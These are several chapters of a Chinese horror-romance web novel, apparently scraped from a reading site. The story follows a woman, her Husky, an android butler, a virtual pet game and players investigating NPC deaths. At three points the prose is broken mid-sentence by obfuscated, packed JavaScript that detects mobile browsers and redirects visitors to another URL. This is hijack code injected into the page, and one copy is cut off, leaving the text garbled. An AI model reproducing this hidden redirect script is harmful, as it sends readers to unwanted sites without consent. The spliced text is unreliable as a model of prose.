和梦里一模一样的高度。 阮思甜皱起眉。 她的心理素质一向很好,很少做噩梦。 难道是因为昨晚陆秋白那个过于冒犯的举动?还是因为那个跟踪者? 眼角余光不经意一瞥,她顿时僵住了。 床的另一侧,洁白的床单上出现了一枝玫瑰,它的花瓣鲜红得像要滴出血来。 阮思甜恍惚了一瞬。 为什么会有玫瑰?陆秋白回来了? 如果是以前,她会觉得这很甜蜜。 但此刻联想到那个噩梦,联想到最后那冰凉的手和锁链,她莫名感到一阵心慌。 * 洗漱完后,她换了一身米白色的家居服,然后去餐厅吃早餐喝咖啡。 墨菲斯安静地站在一旁。 “昨晚那个跟踪者,调查得怎么样了?” “小姐请放心,”墨菲斯说道,“安保系统记录显示,该可疑人员在小区外围徘徊约十五分钟后,最终自行离去。” “经追踪确认,此人为盗窃惯犯,疑似试图踩点,但未成功侵入,现已被星海科技安全部门带走。” 她眼底闪过一丝警惕,却没再追问,脸色如常地问起另一件事,“阿白回来了吗?” “先生没有回来,”墨菲斯回答,“但今天清晨,有一批新鲜玫瑰送达,是先生订购的。” 玫瑰。 所以床上那一枝谁放的? 墨菲斯不可能擅自进入她的卧室。 正出神地想着,一道黑白相间的影子“嗖”地窜进了餐厅。 狗子嘴里叼着一枝红玫瑰,花枝被咬得歪歪扭扭,花瓣掉了好几片在地上。 它摇着尾巴跑到阮思甜脚边,把花往她拖鞋上一放,然后仰起头,蓝眼睛里满是雀跃之色。 阮思甜一下子明白这狗又干了什么好事。 “逆子,”她放下咖啡杯,“把花叼到床上?你干的?” 狗子尾巴摇得更欢了。 “你又爬到床上了?不是说过不可以上来?” 狗子猛地转身,四条腿在地上打了个滑,连滚带爬地往客厅逃窜。 阮思甜不紧不慢地跟过去,作势要打它。 “你给我站住!” “汪!” 狗在前面跑,人在后面追。大清早的,狗成功地达到了遛人的目的。 而当阮思甜放慢速度,这狗还时不时地回头看看她追到哪儿了,眼神里带着一丝兴奋。 最后狗子被逼到角落,眼里闪过狡黠的光,用鼻子亲昵地去拱她的手。 阮思甜本来也就是装装样子,见状她蹲下身,没好气地将狗头一顿乱搓,“下次再敢爬上来,我就真给你一个大嘴巴子,听见没?” 狗子咬了咬她的手,她笑出声,轻轻拉了拉狗脸。 晨光透过玻璃洒进来,照在一人一狗身上,十分温馨。 也就是在这时,她的手机响了。 阮思甜看了一眼来电显示。 徐媛的母亲。 她皱了皱眉,挥手示意狗子自己去玩,然后走到窗边接电话。 “喂,阿姨。” 电话那头,徐母的声音听起来有些不对劲,像是在强装镇定,“思甜啊,没打扰你吧?” “没有,您说。” “是这样,我想问问,你最近有和阿媛联系吗?”不等阮思甜回答,徐母直接道,“你能不能帮我联系她一下,让她回一趟家?” 徐母语气不太对劲,有种欲言又止的焦躁,“我和她前一阵子因为阿航的事,闹了点不愉快。我想了想,觉得还是得和她好好谈谈。” 阮思甜没说话。 她太了解徐母这个人了,这位豪门贵妇人看似温和,实则控制欲极强,最擅长用一堆大道理来压人。 所谓的好好谈谈,十有八九是逼女儿低头认错。 徐母见她不接话,声音更急了,“我也不知道怎么了,就是觉得心慌。其实昨天半夜我给她打电话,她接了,但说话的感觉很奇怪……” “阿姨,”阮思甜平静地打断她,“您到底想说什么?” 电话那头沉默了几秒。 再开口时,徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987636|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母的声音里透出一丝恐慌,“我就是越想越睡不着。阿媛那孩子,从小到大,再生气也不会这样。昨晚她那个语气太不对劲了。我、我心里发慌。” 她声音忽然软下来,带着一种刻意的亲昵,“思甜啊,你能不能帮我劝劝她?你们从小一起长大,她以前最听你的话了。小时候她就特别喜欢跟着你玩,你还记得吗?” 说到这里,徐母意识到自己说了不该说的话,语气尴尬起来,“啊,我的意思是……” “我知道了,”阮思甜平静地开口,“我试试联系她。” * 电话一直无人接听。 消息一连发了好几条,也全部石沉大海。 就在她准备放弃,想着晚点再试时,手机突然震动了。 是徐媛打回来的。 阮思甜接起电话,“阿媛?” 电话那头很安静,过了两三秒,徐媛的声音才传过来,"小甜。" 这个称呼让阮思甜一阵恍惚。 徐媛已经很多年没这样叫过她了。 她的声音像是从很遥远的地方传来,透着股虚无缥缈的味道,再没了以往那种隐隐的优越与尖刻。 “小甜啊,”徐媛说,“刚才在忙呢,没听见电话。” 这解释很普通,但配合她那种飘忽的语气,就透着一股说不出的怪异。 阮思甜顿了顿,直接切入正题,“你妈很担心你,让你回去一趟。” “哦,”徐媛应了一声,语气平淡得像在听别人的事。 阮思甜又说:“她说你们因为徐航的事闹得不愉快,想和你好好谈谈。” 电话那头传来一声很轻的笑,没有任何情绪,“无所谓了。” 阮思甜握紧了手机。 这太不像徐媛了,她总觉得那个私生子抢了她的财产,还抢了她的父母,因此对他恨之入骨。 现在居然就这么一句无所谓了? “阿媛,”阮思甜的声音放轻了些,“你没事吧?” “我很好啊,”徐媛的语气忽然轻快起来,“对了,小甜,我和阿默发展得特别顺利。” 话题转得太突兀,阮思甜愣了一下:“阿默?” 徐媛没有回答,而是自顾自地往下说。 “这么多年,他一直在等我。” “原来这个世界上,有人是一直在意我的。我以前真的做错了事……” 这话说得没头没尾,但阮思甜听懂了。 窗外的阳光明明很好,她却感到浑身一阵阵发冷。 电话里安静了几秒,嘶嘶声传来,像是信号不良。 徐媛忽然说道:“小甜。” “嗯?” “对不起。” 没有任何解释。 阮思甜愣住了。 这话其实不该对她说的。 她有些纳闷,同时想起了往事。 最初的徐媛天真直率,为人也仗义。 直到徐家出了私生子的问题,徐媛就慢慢地变了。 刚开始,她们的友谊还能勉强维持。 可是那天,徐媛热情地邀请她回家做客,徐家那个保姆的儿子也在。 那是个瘦小的男孩,总是怯生生地躲在角落里。 她进门时,王默好奇地看了她很久,然后徐媛脸上有些东西明显在崩裂…… 再后来…… 阮思甜心中寒气直冒。 “对……不起……” “对不……起……” “对……嘶嘶……不……起……” 电话故障了一般,道歉声与嘶嘶声不停重复传来,让人头皮发麻。 阮思甜的喉咙像被什么堵住了,说不出话来。 就在她要将电话强行挂断时,所有声音消失了,只剩一片寂静。 她静静等待了片刻,无事发生。 正要结束通话,电话那头却忽然传来徐媛的声音。 只有一个字,却像是对方竭尽全力挤出来的一样。 “跑!” 15. 心跳百分百(十五) 意识像迷失在黑暗中,阮思甜十分痛苦。 一丝丝黑气环绕在她身侧,悄无声息地缠绕上她的四肢,越来越紧密。 冰凉的刺痛感透过薄薄的睡衣渗进来,有些黑气甚至试探性地往皮肤里钻,侵略性十足。 她皱起眉,尝试着挣扎了下,却醒不过来。 那些黑气在她体表反复徘徊,似极度渴望,又似在强行克制。 黑暗深处传来极轻的喘息声,十分压抑,分不清是她的,还是别的什么。 就在这时,门口传来窸窣声。 黑白残影飞速掠过,“嗖”的一下停在了床尾。 哈哈仰着头,蓝色的眼睛里映出老母亲痛苦的样子,它歪了歪头,一双耳朵竖得笔直。 犹豫了一会,他忽地怒吼一声,跳到了床上。 “汪~呜!” 它的叫声又急又怪,缠绕的黑雾突然一滞。 下一秒,它们在晨光中飞快消失,好像从未存在过。 狗子非常急切地上前,舔了舔阮思甜的脸。 她猛地睁开眼睛,胸口剧烈起伏,额头上全是冷汗。 又是梦。 梦连着梦,却想不起来梦里到底发生了什么,只知道不是什么愉快的记忆。 脸上传来湿漉漉的感觉。 狗子正用鼻子急切地拱她的脸颊,又伸出舌头舔了舔她额角的汗,动作亲昵又焦躁。 “好了好了,”阮思甜声音沙哑,伸手揉了揉狗头,“我没事。” 她慢慢地坐了起来。 窗外阳光明媚。 * “小姐,早安。” “早安,墨菲斯。” 早餐,墨菲斯,跟踪者。 阮思甜喝了一口咖啡。 甜度和温度都刚刚好,但她握着杯子的手指不由微微收紧。 为什么总觉得这件事发生过? 她抬起头,看向仿生人管家。 墨菲斯笑容温和,眼神平静,没有任何异常。 “小姐?”见她盯着自己,墨菲斯开口,“需要再加一点糖吗?” “谢谢,不用。” 而之后,看到男朋友订购的玫瑰,她更是一怔。 狗子又开始撕咬那些花了,她脑子里莫名其妙地闪过一个念头,等会儿该接到一个奇怪的电话。 谁的电话? 不知道,就是有种莫名的熟悉感,像这一幕在哪儿经历过。 她试图抓住那丝熟悉感,却怎么也抓不住,像被什么存在无形地压制了下去,心中只剩莫名的焦虑。 手机响了。 她立刻拿起电话。 是助理打来的工作电话,“阮小姐,抱歉这么早打扰您,有关星光乐园c区维修问题……” 她松了口气,“知道了,我马上看。” 挂掉电话,阮思甜靠在椅背上,长长吐出一口气。 到底在瞎想什么? 把最后一点咖啡喝完后,她起身往楼下办公室走去。 * 处理完一系列事务,吃完午餐,时间已经到了上午十一点。 阮思甜揉了揉有些发酸的脖子,决定去三楼的空中花园透透气。 阳光正好透过玻璃穹顶洒下来,暖洋洋地照在身上,空气里浮动着春日花朵甜蜜又清新的气息。 她在精致的吊椅里坐下,仰头看着蔚蓝的天空,狗子打了个哈欠,眯着眼盘成一团趴在她的脚边。 云朵懒懒散散地飘过,那么悠闲自由。 看了一会儿,她又忍不住摸出手机。 那个心脏图标有力地跳动着,那么热烈,像是无声的邀请。 游戏里有她的小狗。 而谁又能拒绝得了小狗的邀请呢? 游戏里的天气也非常好。 阳光透过云层洒下,手绘风的游戏里似乎都充斥着春日的明媚。 深渊科技的大楼在日光下看起来也没那么冷冰冰了,阮思甜滑动屏幕,来到了公司大楼门口。 哇,解锁新的Q版人了! 好有趣!围观一下,嘿嘿~ 只见一对中老年模样的Q版机器人正叉着腰,愤怒地训斥一个年轻的Q版机器人。 三个小人都设计得很特别,不是单纯的机械,也不是纯粹的血肉,而是两种元素的混合。 齿轮在血肉之躯内转动,他们体内还有一些发条及其它机械配置。 前者正对着后者怒骂,气泡框里不断冒出文字: “不孝子!怎么能做这种事!” “差点就酿成大错了知不知道!” “我和你妈一生老老实实地做人,我们家怎么会出你这种败类!啊,气死老子了!” 年轻Q版机器人抱头蹲在地上,不停痛哭流涕,“爸,妈,我错了,对不起……” 阮思甜一下子起了吃瓜的兴趣,正要继续凑近,大厅另一侧忽然传来匆促的脚步声。 一个穿着黑色风衣的Q版机器人急匆匆跑过来。 这个Q版人眉清目秀的,还有点呆萌,跑得急了脑袋上还会冒出一个小小的“!”。 他直奔大厅门口。 那里站着一个穿红裙的同款女小人。 两个小人面对面站定,起初谁也不好意思说话,女小人还低头默默扯着裙子。 半晌后,男小人忍不住一把拉起女小人的手。 然后,他们头顶开始“噗噗噗”地冒出一连串粉色的爱心泡泡。 女小人仰着头,眼睛弯成月牙,“今天想吃什么呀?” 男机器人用另一只手摸了摸她的头,气泡框变成温柔的淡粉色,“宝宝,你来决定,我吃什么都行。” 爱心泡泡不要钱一样,冒得更欢了。 正好一个Q版蝙蝠员工拍着翅膀从旁边飞过,见状立刻用翅膀捂住眼睛,咻的一下加速飞走了,身后拖出一串长长的省略号。 前台章鱼小姐则提着一个外卖打包盒,眼神不善地看着那两人,眼神里充满了单身狗对脱单人士的愤怒。 阮思甜:…… * 总裁办公室里很安静。 她的小狗正端坐在宽大的办公椅上,背脊挺得笔直。 他面前多了一台Q版电脑,看起来很高端的样子。 此刻屏幕上正播放着什么,画面不断闪动。 小狗看得很认真,双手交叠放在桌面上,金丝边眼镜后的眼睛一眨不眨。 阮思甜心里一软。 这是在学习商业知识?看财经节目? 啊啊啊,她的小狗不仅这么快就赚到钱添置新设备,还在持续充电学习,真是太了不起了!!! 随即又感叹,时代发展真快啊!连纸片人都要这么努力,生怕被社会淘汰! 她回去后也得更加努力才行! 见他专注,她没立刻打扰,而是悄悄挪到一旁的会客沙发区域。 游戏居然贴心地给她准备了座位,还是投资人专属的。 虽然她没法坐,但不得不说,这个改变让她很满意。 想起因为和男朋友的约会,而忽略了小狗的邀请,她有些愧疚,打算给他买个礼物弥补一下。 虽然小狗代表着她的男朋友,但阮思甜心中总觉得他们有细微的差别。 坐下后,她打开手机商城。 一条通知跳了出来,“检测到您与小狗的感情持续升温,商城春季特别款已解锁!” 下面摆放着一堆新物品。 手工定制春季套装,限量版休闲鞋,户外运动套装,甚至还有配套的太阳镜和遮阳帽…… 画风都很精致,价格也一如既往地让人咋舌。 阮思甜毫不犹豫地将它们加入购物车。 春装来一套,休闲鞋要那双米白色的。 运动套装?嗯,黑色吧,黑色非常酷炫! 选着选着,页面忽然往下滑了滑。 商品列表最下方,多了一个她从没见过的分类:亲密物品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻言小狗嘴角微抿,又很快恢复成面无表情的样子,专心地看着电脑。 她正要放弃下单,系统提示一闪而过:因您在本商城消费大笔金额,是我们最尊贵的vvvip客户,系统特此友情提示,此为您的小狗私自篡改物品说明,商城在此过程中不负任何责任。 他还一本正经地假装评估上了?还不符合人体结构,影响活动效率? 说得跟真的一样!这狗怎么这么能装! 阮思甜的眼睛眯了眯,故意看了一眼小狗,说道:“原来系统这么贴心,还会提醒我合不合身?” 小狗的身体一下子变得有点僵硬,耳朵已经红透了。 但他还是强作镇定地盯着电脑屏幕,假装什么都不知道。 “唉,”她装模做样地叹了口气,“那没办法喽!” 他悄悄地松了一口气。 她憋着笑,重新打开商城,以迅雷不及掩耳之势飞快下单。 付款界面弹出,她习惯性地点确认。 但就在付款成功的提示跳出来时,她随意瞥了眼账单明细。 等等?为什么金额是七万?整整多出了4379星海币? 反向抹零??? 这游戏系统可真是太机智了! 阮思甜气笑了,对系统发出了灵魂拷问。 系统气急败坏地狡辩道:“礼物盒子不要钱么?” ???你自己听听,你这说的是人话? 意识到不能得罪自己的金主,商城沉默了几秒,然后对话框里的文字开始飞快变化:“您是我们最尊贵的客人,当然得给您提供最顶级的服务……” 哦,所以这次的借口是服务费了?她一时竟不知道该从哪里吐槽。 系统拿出了它的杀手锏,“其实,我们还有一条……” 看到神秘盒子的一瞬间,阮思甜眼睛一亮,“成交!” 买完礼物后,她抬起头,看向办公桌后。 她的小狗依然在认真看电脑,但屏幕上的画面不知何时停了。 阮思甜靠在沙发里,单手托腮,目光慢悠悠地在他身上转了一圈。 然后,她嘴角露出一个充满恶趣味的笑容。 小狗的后背一下子绷紧了。 16. 心跳百分百(十六) 小狗端坐在办公椅上,背脊挺得笔直。 阮思甜把礼品袋放在他桌上,袋口微微敞开,能瞥见里面柔软的春装面料。 “春季限定,”她戳了戳袋子,“给你买的。” 小狗没动。 他推了推金丝边眼镜,银发下的耳朵警觉地竖着,“本公司现已盈利,不再接受馈赠。” 她挑眉:“不要?” “不要。”他答得飞快,顿了顿,又补充一句,“你以为我会吃软饭?” 阮思甜差点笑出声,调侃道:“之前我送你东西的时候,你怎么不说这话?” 小狗的脸一下子爆红。 他张了张嘴,又不知道该如何辩解。 几秒后,他猛地从座位上站起来,转身走向落地窗。 窗外是手绘风的星海市,风吹动窗外胖胖的云,一切都是那么悠闲可爱。 小狗却十分严肃。 他的双手插在西裤口袋里,浑身散发着一种朕意已决的倔强感。 可惜阮思甜太了解他。她慢悠悠划动屏幕,让视角绕到他侧面。 果然,那对毛绒绒的哈士奇耳朵正微微颤抖,耳尖透着可疑的粉色。 嘴硬。 她放下手机,活动了下手指,重新点开屏幕时,直接戳向他后腰。 小狗像被电到般猛地一颤,还没回头,就听见她带着笑意的声音,“陆老板,你是自己换,还是我帮你换?” 他僵硬地转过身。 阮思甜晃了晃手中的神秘礼物,那是一条粉红色还有个狗头的Q版内裤。 她眉眼弯弯,像只微笑的狐狸一样说道:“商城说,这一条的设计灵感,来源于某只倔强小狗哦~” 小狗的脸色瞬间十分精彩。 半晌后,他冷下脸,“不!” 投资人小姐瞬间失去耐心,一把将总裁大人用食指摁在了落地窗的玻璃上。 想到即将对一只纸片人进行犯罪行为,她心中还有些小小的激动! 小狗再也绷不住了,微微挣扎道:“三十年河东,三十年河西,你、你别太过分!” 阮思甜笑得欢畅,“欺的就是你,怎么啦!” 无奈之下,小狗终于一脸屈辱地妥协。 “行,”阮思甜把内裤塞回袋子,连同春装一起推过去,“那你自己换。要全套,包括这个。” 她特意强调最后三个字。 小狗盯着那个袋子,像盯着一袋有毒物品。 几秒后,他一把抓过袋子,头也不回地冲向办公室内侧的更衣室。 门“砰”地关上。 阮思甜后知后觉地意识到,之前那套西装好像不包括…… 那他当时穿的什么? * 趁他换衣服的间隙,她的目光落在那台新电脑上。 屏幕还亮着,暂停的画面里是两个更迷你的Q版小人。 诶,原来小狗不是在学习,而是在看肥皂剧! 而她则是在Q版游戏里看Q版电视!奇妙! 出于好奇,她伸手点了点。 画面放大。 剧中的霸总正把女主按在墙上,眼神狠厉:“你以为我会做这种无聊的事?” 这调调? 阮思甜愣住。 这不就是刚才小狗拒绝吃软饭时,那种有点装装的调调吗? 她凑近去看剧名:《霸总的契约娇妻》! 这,这不就是她之前看的那部电视? 她从未在游戏里提过这部狗血剧,难道是手机数据同步?定制化推送? 好像都有可能。 但还有另一种可能。 这是数据同步后,小狗的主动选择! 阮思甜的心里一下子变得甜甜的! 怎么会有这么可爱的小狗呢! 她忍不住笑,鼻子却有点酸。 更衣室门打开后,小狗走了出来。 换下了那身威严的西装,穿上米白色的春季套装后,他看上去就像是一个青春洋溢的少年! 低头整理着衣角时,他耳尖红得快要滴血,一脸羞愤! “好看。”阮思甜轻声说。 小狗动作一顿,如临大敌,生怕阮思甜再问出什么“你穿了吧?”这种问题。 但她没再逗他,“我们出去兜兜风吧!要给你买个车吗?” 小狗一脸骄傲地拒绝道:“不用,我已经买了!” 阮思甜又道:“我们的小狗这样帅气,就该多出去走走,保证回头率拉满!” 小狗依然冷着脸。 * 小狗坐进一辆圆润的Q版敞篷跑车,银发被风轻轻吹起。 他开车的样子很认真,阮思甜就这样看着他。 车子驶出科技园区,穿过一条热闹的大街,街上人来人往。 这个游戏里的场景越来越丰富了! 最后车子停在一座巨大的游乐场前方。 星光游乐场。 阮思甜怔了怔。 又是和现实中一模一样。 她正想着,眼角余光瞥见一道白影。 在游乐场深处的摩天轮背后,一个Q版白裙长发女孩背对着他们,安静地站着。 想要仔细看时,对方瞬间不见了。 阮思甜戳了戳小狗的胳膊:“刚刚那个白裙子姑娘挺好看的!” 面对这种死亡问题,小狗不傻,他冷冷道:“不知道!” 阮思甜道:“还在生气啊?” 小狗冷哼了一声。 阮思甜哄道:“我们最最最帅气的小狗真的生气了吗?别生气了呀?” 小狗闻言无动于衷。 哟,这臭狗还较真了! 她打了个哈欠,“真不理我?那我走啦!” 不等对方回答,果断下线! 游戏里的小狗被留在原地,手中握着尚未递出的黑卡,一脸错愕。 * 商场厕所光线昏暗,消毒水的气味盖不住强烈的异味。 江敛蹲在隔间里,手机屏幕幽暗的光线照亮他苍白的脸。 任务面板上的信息十分刺目。他每看一次,都觉得心惊。 【NPC徐媛:已死亡】 【任务状态:失败】 【心动值:0%】 【副本难度提升中】 【友情提醒:当所有NPC死亡而玩家未完成任务,徐媛的死亡方式将随机降临到一名玩家身上。】 江敛浑身阵阵发冷。 他明明记得徐媛手机上的心跳同步值是100%。 而到目前为止,二号任务迟迟未发布。 文雪让他们不用过于担忧,小心谨慎行事即可。 “兄弟,”陈野的声音从外面传来,调侃道,“便秘啊?待这么久?” 江敛慌忙收起手机,推门出去。 陈野靠在洗手池边,正低头划手机。 屏幕亮着,上面不是普通界面,而是密密麻麻的代码。 江敛愣了下。 陈野迅速收好手机,咧嘴笑道:“个人爱好。” 随即快速转移话题,“脸色这么差,担心惩罚?” 江敛张了张嘴,又不知道该怎么说。 陈野看了他两秒,不再嬉皮笑脸,压低声音道:“是因为那个美貌NPC?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998269|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我不是——”江敛下意识想要辩解,却被陈野抬手打断。 “去里面说。”陈野率先走进最里面的隔间。 江敛跟进去,反手锁上门。 “我明白你不是见色起意,”陈野靠在门板上,低声道,“说吧,到底怎么回事?” 江敛感受到一种久违的信任感。 他深吸一口气,把从第一次见到阮思甜时产生的幻象,还有地下餐厅里看到的全说了出来。 “我没精神疾病,”他语速很快,生怕陈野误会,“那些画面太真实了!而且我似乎能感受到它的痛苦。” 陈野安静地听着。 等江敛说完,他才开口:“你想告诉文雪他们?” “我想说,但没有机会。” “还是别说的好。” 江敛眼神一暗。 “别误会,”陈野犹豫了一会,还是选择开口,“我不是不信你。我是说,你现在告诉文雪,确实等于找死。” 他解锁手机,快速找出一个早已破解好的加密文件,然后将屏幕转向江敛。 “那个黑客发给文雪的资料,她没说。”陈野说,“我就借用了一下,嘿嘿。” 江敛瞪大眼睛。 屏幕上是一份泛黄的旧报纸图片,醒目的标题映入眼帘:七岁男童失踪三月,警方搜寻无果,家属悬赏寻人。 配图是一张模糊的家庭照,干瘦的女人一脸幸福地搂着瘦小的男孩。 江敛凭感觉判断出那就是幻像中的孩子。 “男孩叫王默,”陈野滑动屏幕,调出另一份非法获取的记录,“徐媛小时候的玩伴,保姆的儿子。” “后来呢?”江敛心一沉。 “徐媛觉得王默背叛她,具体原因不明,可能和阮思甜有关。”陈野语速平稳,像在叙述别人的故事,“她把王默关在了离家很远的废弃地下室,本来只是想惩罚他,结果……” 江敛:“忘了?” “谁知道呢?”陈野眼神很冷,“最后那孩子活活饿死在里面。” 江敛后背发寒。 “徐家用关系封锁了真相。”陈野继续,“又用催眠加记忆干预,让徐媛忘了这事。 “王默的母亲抑郁成疾,没几年就走了。” “徐媛妈从那以后看到这女儿就烦,感情也越来越淡。” “所以徐媛的噩梦……”江敛喃喃。 “对,地下室敲门声。”陈野收起手机,“记忆能篡改,但潜意识埋下的罪恶感不会消失。” “最终它会以什么方式出现,我们都看到了。” 隔间里一片死寂。 江敛艰难地消化着这些信息,不解道:“雪姐,不,文雪她一开始就知道?她为什么瞒着我们?” 陈野没回答。 江敛忽然起了一种奇怪的念头,忽然问道:“你,你真的叫陈野吗?” 陈野一脸惊讶地看着他,“这种一听就是假名的名字,当然是假的啊!难不成你真叫江敛?” 江敛:…… * 从厕所离开后,他们走到了星海学院的门口。 文雪几人不知道在聊些什么,看到他们回来后,立刻闭口不言。 颜乐朝他们微笑着打了个招呼。 阮思甜戴着个遮阳帽,手里还牵着一条狗,慢悠悠地出现在了不远处。 一个高大秀气的年轻男人看到她,眼中闪过一丝阴霾。 那阴霾很快被压了下去,随即他扬起一个热情的笑容,朝她走了过去。 手机图标闪动了一下,文雪看了一眼。 【任务刷新中,二号npc吴银已出现……】 17. 心跳百分百(十七) 吴银露出一副阳光热情的笑容,笑着说道:“思甜,好巧啊!” 他人看着挺显年轻的,此刻站在学院门口,看起来竟还有几分学生气。 阮思甜点了点头,“是挺巧的。” 吴银继续热情道:“听说你最近——” 阮思甜懒得搭理他,直接打断道:“我还有事,先走了。” 说完直接牵着狗子离去。 走出一段路后,她想起吴银那张脸。 比起学生时代,现在的他显然更懂得如何包装自己了。 那清新飘逸的发型一看就知道精心打理过,身上的衣服看似休闲随意,实则都是当季潮牌。 连他脸上的笑容,都看似无可挑剔。 可惜,有些东西是不会消失的。 比如那种算计的眼神。 前方的梧桐树下有一条长椅,阮思甜带着狗子过去休息。 春日清新的风吹来,她想起了自己的学生时代。 在选修课的小组任务上,吴银是她的组员。 刚开始,他看起来人确实不错。 比如说,他会主动承担任务最繁琐的那一部分,会给大家提供些力所能及的帮助,整个人十分阳光开朗。 很多人都觉得他体贴又善良。 直到某次只剩他们俩时,吴银忽然叹了口气。 “思甜,我能跟你说说话吗?”他的声音中带着一种显而易见的疲惫,“就是心里有点闷,又不知道该找谁说。” 阮思甜当时正在整理资料,头也没抬,“你说。” 然后她就听到了一段长达半小时的深情往事。 据吴银说,他以前有个初恋女友,他省下早饭钱给她买礼物,如何在雨夜送她回家,如何规划两人的未来。 而对方最后为了个开跑车的富二代,毫不留情地甩了他。 “我不怪她,”吴银苦笑着说,眼神却飘向阮思甜,“每个人都有追求更好的生活的权利。” “但是有时候会觉得,真情在这个时代好像特别廉价。” 阮思甜终于抬起头。 吴银正用那种充满破碎感的眼神看着她,让她起了一身鸡皮疙瘩。 她尊重别人的爱情,但那与她无关。 而如果以此当成筹码,搞个人设就以为可以轻易换取别的,那也太可笑了。 她冷淡的反应没能阻止对方渴望上进的心。 从那以后,对方开始有意无意地在各个场合和她邂逅,但言行并未过界。 不知道是什么给了他错觉,一个月后,他胸有成竹地选择在教学楼前高调告白。 一堆人围观着,但并没有人如他预料的那样起哄,反而一副看好戏的样子,让他隐隐觉得有些不对劲。 阮思甜收起笑容,冷下脸,“你说完了吗?” 吴银愣住。 “说完我走了。”说完她又补充了一句,“还有,以后小组作业直接发邮件,不用当面讨论。” * 阮思甜的手机开始收到几个陌生号码的骚扰。 “多少钱一晚?” “可包月不?” 她开口的瞬间,他们听出了她的声音,慌乱地挂断了电话。 她没拉黑,也没生气,只是把这些号码全都记了下来。 很快,她查到了这些号码的主人及其背景。 很巧,都是星海学院的学生。 更巧的是,他们或多或少都有些小问题。 比如说学术不端,私下喜欢残忍杀害小动物,男女关系混乱…… 之后这些信息去了该去的地方,阮思甜并没亲自出手。 半个月内,那些人陆陆续续被学院以正当理由劝退或处分。 而至于吴银,事态的发展有些癫狂。 他成了校园里五彩缤纷的一个传说。 某位富二代姑娘发现,自己的男友最近和这个穷学生走得太近了,还听说后者给男友介绍了一个女人。 她是个暴脾气,家里背景又硬,立刻上门堵人。 然而到了以后,在散落了一地的衣物中,她发现那位被介绍的“女人”,竟是那个穷小子本人! 最终某人以社会性死亡的结局告终,匆匆退学。 阮思甜听到这个消息时,正在家里看书。 她端起手边的咖啡喝了一口,漫不经心地想:就这么一个货色,当初怎么有胆子在男厕所隔间贴她号码呢? 不过阴沟里的臭虫,没必要脏了自己的鞋,让他暴露在太阳底下自生自灭就好了。 * 狗子咬了咬她的衣服。 阮思甜低头,看见它正用蓝眼睛瞪她,尾巴不耐烦地摇着。 不想了。 那些倒胃口的人和事,不值得浪费一分一秒。 手机震动了一下。 阮思甜解锁屏幕,看见男朋友发来一条消息。 “晚上早点回家,有礼物。” 她怔了怔,他还知道送礼物了? 嘴角不自觉扬起。 珠宝?奢侈品?还是别的什么? * 同一时间,街对面的饮品店里。 颜乐/透过窗玻璃看见阮思甜离开的背影,张了张嘴,似乎想说什么。 但她话还没出口,文雪就淡淡地瞥了她一眼。 “那个黑客自作主张去调查那个npc,”她的语气十分平静,“现在失踪了。” 颜乐到嘴边的话咽了回去。 赵杰皱眉道:“失踪?” “最后定位在一个叫星海听澜的小区,”文雪说,“之后就再没消息。” 陈野靠在椅背上悠闲地喝着果茶,江敛则低着头,不停查看面板上有关二号npc的任务。 玩家团队的调查效率很高,或者说,文雪的确行动力十足。 她手头还有好几位备用的黑客,这次任务一出,她就第一时间联系他们调查。 吴银只是个普通人,调查起来并不难,他的人生轨迹很快就一清二楚地呈现在他们面前。 他的父母是开小饭店的普通人,赚的不多,但足够温饱。 也许是命里缺金银,所以想给儿子取个有美好寓意的名字,可惜金字已被隔壁抢先一步,因此父母选了银。 吴银也没有辜负父母的期待,从小就有种强烈的赚钱意识。 小学时,他会认真写作业,因为一份优质的作业本可以租给同学抄,一次1个星海币。 很快,他又拓展了业务,比如代写情书,一首粗糙的情诗收费高达十个星海币。 此外,他还会低买高卖游戏卡赚差价,脑子非常灵活。 “如果按这个轨迹,他可能会成为一个精明的商人。”文雪翻着资料,“但他后来的经历改变了一切。” * 青春期的他开始抽条长高,由矮冬瓜变成了条盘靓顺的少年。 加上会打篮球,很快他成为女生讨论的焦点。 渐渐地,他尝到了外貌带来的甜头。 总有女孩愿意给他买水,送吃的,甚至一些小礼物。 “努力赚钱太慢,不如让人心甘情愿给我花钱。” 不知不觉中,他开始萌发这种想法,因此周旋在诸多对他有意思的女孩之间,顺便点亮了甜言蜜语这一实用技能。 没过多久,吴银觉得零售太过费劲,于是萌发了找个固定女友的想法。 他脑子很清醒,并没有挑那些家境优越的姑娘,在精挑细选许久后,他选择了一个名为林莹的女孩作为目标。 林莹长相清秀,但原生家庭不幸,因为父亲酗酒且家暴,母亲很早就跟人跑路。 从那以后,林莹的日子就越发水深火热。 她性格温和软弱,从不抗争,所有的痛苦都默默忍受着。 遇到吴银后,她觉得有一束光照进了自己灰暗的生命,对吴银产生了近乎信仰般的爱。 百忙之中,林莹会抽出时间去奶茶店打工,用攒下的钱给吴银买游戏皮肤,T恤,品牌球鞋。 心情好时他会哄她两句,拉她出去开房或者探险直播,但大部分时间他对她敷衍又冷淡。 这种忽冷忽热反而让林莹深陷其中,更拼命地付出。 有一次,吴银以分手威 